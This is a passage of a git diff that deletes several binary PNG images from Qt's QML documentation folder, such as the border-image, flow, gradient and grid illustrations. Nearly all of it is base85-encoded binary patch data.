z$EFD-FjWf{H)Kr2MH#Aagree0zt#)eHtU{#1j5^QD$>pqE0M(g7+s0`mEAitjqbK_ z$6`6FGxl#88{0~!95PqjYay2rBg2vNORySICVp|kt%ig1?z?7nWtN<$9m{qN8*xEHj^6sg5A zvSDs!*7PD0R$K5t|aS(5E}(M*)qKSqwAj1u1SLb?o!04qqC#q$Asj7i3YDe z`zm3k(2NZ3Xf#qfgmAExSzB9M1{@=k6jHf)v)nYFB1gm>k8jV^;_m{9ti63}Z||Wd zJU2I&f{w%c=%<*fJ^-rtI&<+C&z?SgHDsS~zfR#?R6+2lqmAj$!Gc==4DrVnG!SL{ zuH^C0aTfvIm)(7R)4-JlMUr=R@X=_LzM+POhM%AOi(W~s`}gmAd&{1Vi5Qp6gnl|Q zMuLW83+nUdON)xES^w_(JT>()CPqa+4vi3&kYI^B4nifTr1%pEcF6$XEG;)Y{FZQo z1Cj($2oRFE;C;;;z?A@0e6k4^X@2;PS?SKhhgbid&v?asC9w5B4tJN2j|mmd5BNN!t4a#tHthPQD!DrU)3I6{!=SFc^$z7f4Zx{=eeV^P8Fi`m=1 z85tSrGd(;$*na>1J)kOo-%Dl2nwZ#?o4oa;;h&UdQ`ru1b2Sl704ONJBO&V*FjK%m zNT3!;5ar-f2e@~DfY;U4E!=f=-C9l$3^?4$H7izhU+M-78_H;IZZ0V3u&UlB22%jhjJ`2?4B# z1L$4Um+f!2@LSLg08NxqdThR}t#$VF#G?_YVZccAD#|!-s;B^Dh-B{p5pm~_*mNf{ z0PG8c;ZKeaF9jY)XQf_0l*caw_t?mLZ*kXk$bu9Cg8F)rybuCG21RnplS9|i=%6oO zzK}&qHD$JOE^}XX{#r%?fs8P7`ZIl(=7}dAEv>@CHKtLm0XJ)sM=TN+>;Gmdz*H)J zY3k~Z*dcS+u&Ty~o`4&(adL99vbOga0*dQ2YsaIisybDc6%s)dz|?OSR%H?8N#29} zLQ5}>)++a?7>w8-#!_SlvQ#R2h)%whX+nw<89BL{y1K264OMqbeAt#tr_#y6Uj!~z zR!T}r?wX+V^mJ}pXXg?$0&c7O@_L=~r6 zyVp35e(1x1xPLn^@HAD!b;Z|b{uH^8H+8MngW1ViVBWi@i80LCqPOmY|4 z2%v9Efe%k+b9QFlpMgv&ZF`@bg?Qbg8Q6 z#m<=t0!~Ho2!NG3dMc$>eU2Qm?+nid%6LXNAw2_w3cG$d3~pJDQ@wHHhL_j=*4EaO zv(yu!pRpmL*!nkhb%&rR!5*PjIOIIt^c%nmA0Hp0%(p#v&-|6E z`6BXO-h6LGrycSOQY;!h)#$hEEzQSw7V3Se@Xbiq7chAsz%J1eRQ#3K(sc3%B9KXo zx@e3}+c_bjq`^5b2q1WB2;lihx#>nffoQZ{GS`EEH4~}Y=`d?iQ&>6K<*qm#B@8aSjpjA(Lsi>*l-GkW_ z#H9?%05ui>lm*a8z!pJO;CWcsc%z?}p&^sj*@>iX*jpc!HGY6mseOV diff --git a/src/qml/doc/images/qml-borderimage-tiled.png b/src/qml/doc/images/qml-borderimage-tiled.png deleted file mode 100644 index 14883d0dd64cea6ce33326632a4a2302d88b2aa7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5889 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 diff --git a/src/qml/doc/images/qml-flow-snippet.png b/src/qml/doc/images/qml-flow-snippet.png deleted file mode 100644 index af873d1b4f34d0ff8f989765aaeb4d659ec252c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11465 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 diff --git a/src/qml/doc/images/qml-gradient.png b/src/qml/doc/images/qml-gradient.png deleted file mode 100644 index 5eefdd2031b4034071ce0e6449ac778eb3607af2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 364 zcmeAS@N?(olHy`uVBq!ia0vp^DIm$D6(TS(`g`E01OKbvQHE3079TB|H}iLn99Qv zA{$d#lYsEung=`VR`+k{fBa{y-66YY;cIRm;aX;Y_%}@RjOSZ_as1w}#sLZs6syBH z$V~AXppigVf#GvMB+mafs8vaqhelF{r5}E)sGLJd{ diff --git a/src/qml/doc/images/qml-grid-no-spacing.png b/src/qml/doc/images/qml-grid-no-spacing.png deleted file mode 100644 index c2092e0bf93422d8460c0fb6d68812df74052fea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 416 zcmeAS@N?(olHy`uVBq!ia0vp^1t8491SCD1l4XDtbFq_W2nPqp?T7vkfLzW3kH}&M z2EHR8%s5q>Pnv;&(b?0*F{EP7+dCUMnH)u21H*MP95yhm-qf)66cHYN=jz@vMk{CdT$r)I&@s9F`|{H-zxhZW)78&qol`;+057+dbpQYW diff --git a/src/qml/doc/images/qml-grid-spacing.png b/src/qml/doc/images/qml-grid-spacing.png deleted file mode 100644 index 1083bee59fcb5edbb517712eaf72c444294210a7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 421 zcmeAS@N?(olHy`uVBq!ia0vp^1t8491SCD1l4XDtbFq_W2nPqp?T7vkfLzW3kH}&M z2EHR8%s5q>Pnv;&(ZkclF{EP7+dCUMn-e5lFG?6qm};HM%3i=)UbM<&QbR(yBj@vw zq^~<_zS{RZ{;}Zmo~i@;1x>#FsylnR20$A&V1G_*Zb`!E+uTDmf>?@#sWjf zJlR}Do3WDoCe_-6K--PzqgHbcproO3_tT)E42U(XYNUr+rKB{L-i0=cBAq4EF% zAyNYG+sTQ*-%qIMdhn0JOT*k30-UVbi~9*`>(oHxNZ<=MEhr&q9#i<7e-q>6S> z28`1DJL=-20o)xXAFd|_^OV5$$K zsq0ND7$!d(HnsEdaPe@0bg?YOf-$oHtoQeUIYRbMBiGNTDSNuRJ9_v*_6L!jV2t!^ 